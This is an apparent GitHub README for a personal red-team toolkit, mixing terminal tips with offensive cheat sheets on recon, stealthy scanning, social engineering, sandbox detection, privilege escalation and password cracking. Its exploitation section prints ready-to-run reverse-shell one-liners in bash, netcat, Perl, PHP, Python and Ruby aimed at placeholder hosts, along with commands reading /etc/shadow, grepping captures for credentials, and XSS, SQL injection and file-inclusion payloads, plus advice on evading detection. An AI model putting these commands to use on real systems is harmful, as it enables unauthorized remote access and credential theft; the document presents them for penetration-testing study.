Skip to content
BranchesTags

Repository files navigation

Red team tools, tips & tricks

A collection of random custom scripts for penetration testing and red team tasks.

Includes: Automation scripts, Reconnaissance tools, Scanning utilities, Exploitation scripts, Post-exploitation helpers, Report generation tools, Notes & cheat sheets etc.

📚 Table of Contents

📂 Repo-Structure

📂 Click to expand 
red-team-tools/
├── automation-scripts/
├── recon/
├── scanning/
├── exploitation/
├── post-exploitation/
├── reporting/
├── utilities/
├── offensive-ops/
└── README.md/

Red team roles

  • Penetration tester
  • Web security tester
  • Exploit developer
  • Read team operator
  • Offensive security engineer
  • Attacker (Malicious)
  • Adversary

Vulnerability landscape

The vulnerability landscape refers to the evolving environment of cybersecurity threats, including vulnerabilities, attack methods, and exploit vectors targeting organizations, governments, and individuals.

#@# Why vulnerabilities exist

  1. Human error – People mess up logic, assumptions, or validation.

  2. Complexity overload – Modern systems are built on layers of other systems (OS, firmware, APIs, libraries, dependencies).

  3. Speed over security – Companies push features fast to beat competition. Security usually gets patched after release instead of being built-in.

  4. Legacy code – Old, unmaintained code is everywhere, still running core stuff. Nobody wants to touch it because it’s “working”.

  5. Poor threat modeling – Developers design for functionality, not for adversarial thinking.

  6. Hardware flaws are permanent – You can’t patch a CPU the way you patch software.

  7. Open source ≠ always secure – Even open code can be overlooked.

  8. Economics – Security doesn’t make money unless something breaks. So budgets go to features, not to hardening systems.

Attack vectors

  • Email
  • Removable device
  • Social media
  • Browser
  • Cloud services
  • Insiders
  • Devices
  • Wireless
  • Malware i.e virus, trojan, botnet
  • Software tools: Metasploit framework, Burpsuite, kali linux
  • Hardware tools i.e Flipper zero, Rubber ducky, WiFi pineapple

@## Threat landscape

  • Email accounts
  • Social media accounts
  • Mobile devices
  • The organization's technology infrastructure
  • Cloud services
  • People

 

🌟 Tips & tricks

✅ To exploit a software, you MUST have a background knowledge of defense mechanisms used by the software

✅ Figure out how to trigger an undiscovered vulnerability yourself, boom, zero day

✅ Every failed exploit has a stealthier alternative

✅Prioritize attack vectors based on exploitability and impact.

✅Avoid leaving traces by using proxies, VMs, or isolated environments.

✅Document all actions without storing sensitive data insecurely.

Find your public IP address right on the terminal

curl -s wtfismyip.com/json | jq

curl https://www.zx2c4.com/ip

curl ifconfig.me

Quick search & filter

  1. fzf (Fuzzy finder

fzf is a command-line tool for interactive filtering of any kind of lists; files, command history, processes, hostnames, bookmarks, git commits, etc , widely used for file navigation, command history, and process selection.

# File search
find . -type f | fzf

# Command history (Like Ctr + R)
history | fzf

# Process search
ps aux | fzf

# Basic interactive mode
fzf < /path/to/any/list.txt
ls -la | fzf

💡 Tip: Add --preview 'cat {}' to see file contents while browsing:

Keybindings in fzf work by hooking into your shell’s readline system (via bind or zle in zsh) to intercept key combinations like Ctrl+R or Ctrl+T and launch fzf interactively.

# fetch and source the keybindings
curl -s https://raw.githubusercontent.com/junegunn/fzf/master/shell/key-bindings.bash > ~/.fzf-key-bindings.bash
source ~/.fzf-key-bindings.bash

source ~/.fzf-key-bindings.bash

 

Online privacy & anonymity

Anonymity relies as much on behavior as on tools: one mistake, like logging into a personal account or reusing a username, can completely expose your identity.
Even with privacy tools like VPNs or Tor, revealing personal information links your anonymous activity to your real self, undoing all protection.

  • Privacy and anonymity are two different things

  1. Anonymous means unnamed or unidentified or lacking individuality, - which cannot be fully achieved online. For example, posting online under a pseudonym: people see what you say, but not who said it.

  2. Privacy is about controlling access to your personal information—deciding who sees what, even if they know it's you For example, sending an encrypted message to a friend: they know it's from you, but no one else can read it.

Multi-Layered Anonymization Solution(VPN + Tor + Sandboxing)

  1. Operating systems
  • Tails OS
  • Whonix workstation & gateway
  • Qubes OS
  1. Tor-Enabled Anonymization software

Risks of using free public proxies

  • Transparent Proxies: Over 50% fail to hide your real IP address
  • More than 5% modify content to leak sensitive data
  • Security Vulnerabilities: Many lack HTTPS support, making users susceptible to man-in-the-middle attacks
  • They are often slow and go offline frequently

⚠️VPN is recommended for most users due to its superior security, privacy, and comprehensive protection

 

Automation

Automatically install essential hacking & dev tools on a fresh linux install

Encrypting and decrypting files, directories, and text using multiple encryption algorithms

 

Honeypot checks

Possible indicators that you just got pawned:

  • Network restrictions
  • Monitoring tools
  • Fake user environment
  • Synthetic input
  • Weird routing/DNS
  • Low-human-activity (empty Downloads, no browser history)
  • You’re root/admin by default but with tight network rules
  • Logging tools or “monitor” processes running silently such as procmon, wireshark, tcpdump, or sysmon
  • Host is extremely low-spec (tiny RAM/CPU, tiny disk)
# VM 
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"
systeminfo | find "Hyper-V"

# MAC vendor
getmac /v

# System drivers/services
driverquery | findstr /i "vm vbox"

# Check blocked outbound connection
ping google.com

⚠️Honeypots intentionally hide or fake everything, and advanced sandboxes will spoof user files, drivers, network, and even synthetic mouse/typing patterns.

 

Customization

Change Microsoft windows themes & font type

  1. Reg file(run as admin and reboot)

  • Segoe Print Font

  • You can open the file with notepad and change the font according to your preference.

  1. Green Powershell
$Host.UI.RawUI.ForegroundColor = 'Green'
  1. Command Prompt color
  • Navigate to Environmental Variables > New User variable
Name: prompt
Value: $E[1;30;104m►$E[1;37;104m $P $E[1;94;40m►$E[0m

Shell customization

A custom shell refers to a user-defined command-line interface for operating systems, designed to replace or extend default shells like Bash, Zsh, or Fish for severla reasons i.e security hardening, user preferences etc

  1. Third party tools
  1. Custom (modern) terminals emulators

 

🔍 Recon & Enumeration

Reconnaissance (recon) in red teaming is the foundational phase where ethical hackers gather intelligence about a target organization to identify vulnerabilities and plan realistic attack simulations.

# DNS Lookup
dig domain.com any +short
host domain.com

# Subdomain fuzzing
ffuf -w subs.txt -u https://FUZZ.target.com

Social engineering tehniques

  • Impersonation /identity theft - the attacker creates a fake online profile to impersonate an employee and trick colleagues into disclosing confidential information.
  • Phishing - email, text
  • Pretexting -  fabricates a convincing and detailed scenario
  • Baiting  - lure using free gifts, software
  • Tailgating - follow authorized person
  • Shoulder surf
  • Quid pro quo - bribe
  • Honeypot - fake online persona
  • Dumpster diving - trash, trash-can 
  • Evil twin i.e fake wi-fi Access point
  • Vishing (Voice phishing) - phone calls or voice messages to impersonate a legitimate entity and extract sensitive information.
  • Typosquatting/ URL hijacking - slight misspelling of a legitimate website.

Packet capture (Pcap) analysis

Extract printable strings from the pcap and grep for likely secrets

strings capture.pcap \
  | egrep -i 'password|passwd|username|user|authorization|bearer|token|session|cookie|api[_-]?key|secret|key|auth' \
  | sed -n '1,200p'

Follow TCP streams and search each stream for cleartext creds

# list stream ids for TCP
tshark -r capture.pcap -q -z conv,tcp | sed -n '4,$p' \
  | awk '{print $1":"$2":"$3}' | sed '/^$/d' \

# Then for a specific stream (e.g. 10):
tshark -r capture.pcap -q -z "follow,tcp,ascii,10" >/tmp/stream10.txt
grep -Ei 'password|pass|user|login|authorization|bearer|token|cookie|api_key|secret' /tmp/stream10.txt -n

 

Scanning

The goal of scanning is to discover how the target system responds to various intrusion attempts

Stealth Techniques

To bypass firewall blocks and avoid IDS/IPS detection:

  • Slow Scans: Introduce delays between packets to evade rate-based detection.
sudo nmap -sS -v -v -Pn 192.168.0.0/24

  • Fragmentation: Split packets to confuse firewalls and IDS.

  • Decoy Scans: Use spoofed IPs to hide the real source and overwhelm logging systems.

  • Custom Source Ports: Bypass firewall rules that allow traffic from specific ports (e.g., DNS on 53)

  • Try alternative tools

# Nmap full scan
nmap -p- -T4 -A -v target.com

sudo nmap 10.0.0.1/24 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2

 

💥 Exploitation

The exploitation phase in red teaming involves leveraging identified vulnerabilities from the reconnaissance phase to gain unauthorized access to systems, networks, or data.

Bash reverse shell One-Liners

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Netcat reverse shell

nc -e /bin/sh IP PORT

Netcat without -e Reverse Shell One-Liners

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

Perl Reverse Shell One-Liners

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP Reverse Shell One-Liners

php -r '$sock=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Python Reverse Shell One-Liners

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ruby Reverse Shell One-Liners

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

 

🩻 Post-Exploitation

This is where the attacker uses the established access to achieve their goals/intentions.

  • Internal recon
  • Data Exfiltration
  • Privilege Escalation
  • Lateral Movement
  • Command and Control (C2)
  • Malware installation
  • Vulnerability exploitation 
# Grab users & creds
cat /etc/passwd
cat /etc/shadow
history

# Network info
ip a
netstat -tulpn

# SUID Binaries
find / -perm -4000 -type f 2>/dev/null

🧱 Privilege Escalation

# Check kernel for exploits
uname -a
linux-exploit-suggester.sh

# Check sudo rights
sudo -l

# Writable files/directories
find / -writable -type f 2>/dev/null

 

💬 Web Attacks

Web attacks exploit vulnerabilities in applications to steal data, disrupt services, or gain unauthorized access

# XSS payload
<script>alert('xss')</script>

# SQL Injection test
' OR '1'='1

# Local File Inclusion
../../../../etc/passwd

 

🔐 Password Attacks

Password cracking is heavily limited by hardware capabilities. The speed and feasibility of cracking depend on the computational power of the hardware used

Recommendations

  • High-end GPU's like RTX 4090

  • Rent powerful cloud GPU instances (e.g., AWS, Google Cloud)

  • Custom hardware like FPGAs or ASICs

  • Quantum computing algorithms (Year 2025:Limitations in qubit stability and error correction)

# Hashcat basic usage
hashcat -m 0 hash.txt rockyou.txt

# John the Ripper
john --wordlist=rockyou.txt hashes.txt

# Zip password crack
fcrackzip -v -u -D -p rockyou.txt file.zip

⚠️Strong password hashing algorithms (e.g., scrypt, Argon2) are designed to be memory-hard, reducing the advantage of GPUs and custom hardware by requiring large amounts of memory, thus leveling the playing field

 

🧰 Tools Reference

To master essential cybersecurity tools like Metasploit and Burp Suite, focus on understanding their core functions and practice in legal environments.

# Gobuster
gobuster dir -u http://target.com -w wordlist.txt

# Nikto
nikto -h http://target.com

# Burp Suite
# Set proxy to 127.0.0.1:8080 and route traffic from tools

📝 Explore More

This section includes links to references, services, tools, and assets for those wishing further exploration.

Special thanks to individuals whom I incorporated their work into this repo.

 

🧾 License

Free to use, share, and modify under the MIT License.

 

⚠️ Disclaimer

This repository is strictly for educational and research purposes.

I take no responsibility for misuse, illegal activity, or any damage caused by these tools.

Use responsibly. Don't be dumb.

 

"⚔️Never stop breaking things - for the right reasons."

About

Random scripts, tips & tricks and content for penetration testing purposes

Topics

black-hatoffensive-securityred-team-tools

Resources

Readme
Activity

Stars

2 stars

Watchers

0 watching

Forks

0 forks
Report repository

Contributors

Languages